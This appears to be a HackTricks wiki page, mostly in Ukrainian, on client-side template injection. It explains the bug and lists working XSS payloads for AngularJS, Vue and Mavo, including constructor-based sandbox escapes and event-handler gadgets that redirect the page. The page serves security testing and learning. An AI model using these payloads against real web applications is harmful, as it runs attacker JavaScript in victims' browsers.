7.7 KiB
Client Side Template Injection (CSTI)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Summary
Це схоже на Server Side Template Injection, але на клієнті. SSTI може дозволити вам виконати код на віддаленому сервері, CSTI може дозволити вам виконати довільний JavaScript код у браузері жертви.
Тестування на наявність цієї вразливості дуже схоже на випадок SSTI, інтерпретатор очікує шаблон і виконає його. Наприклад, з корисним навантаженням на кшталт {{ 7-7 }}
, якщо додаток вразливий, ви побачите 0
, а якщо ні, ви побачите оригінал: {{ 7-7 }}
AngularJS
AngularJS - це широко використовуваний JavaScript фреймворк, який взаємодіє з HTML через атрибути, відомі як директиви, однією з яких є ng-app
. Ця директива дозволяє AngularJS обробляти HTML вміст, що дозволяє виконувати JavaScript вирази всередині подвійних фігурних дужок.
У ситуаціях, коли введення користувача динамічно вставляється в HTML тіло, позначене ng-app
, можливо виконати довільний JavaScript код. Це можна досягти, використовуючи синтаксис AngularJS у введенні. Нижче наведені приклади, які демонструють, як можна виконати JavaScript код:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Ви можете знайти дуже базовий онлайн приклад вразливості в AngularJS за посиланням http://jsfiddle.net/2zs2yv7o/ та в Burp Suite Academy
{% hint style="danger" %}
Angular 1.6 видалив пісочницю, тому з цієї версії корисне навантаження, таке як {{constructor.constructor('alert(1)')()}}
або <input ng-focus=$event.view.alert('XSS')>
, повинно працювати.
{% endhint %}
VueJS
Ви можете знайти вразливу реалізацію Vue за посиланням https://vue-client-side-template-injection-example.azu.now.sh/
Працююче навантаження: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
А джерело вразливого прикладу тут: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
Дуже хороший пост про CSTI у VUE можна знайти за посиланням https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Кредит: Гарет Хейс, Льюїс Ардерн та PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Credit: Mario Heiderich
Перевірте більше VUE payloads на https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Payload:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Більше пейлоадів у https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Список виявлення брутфорсу
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.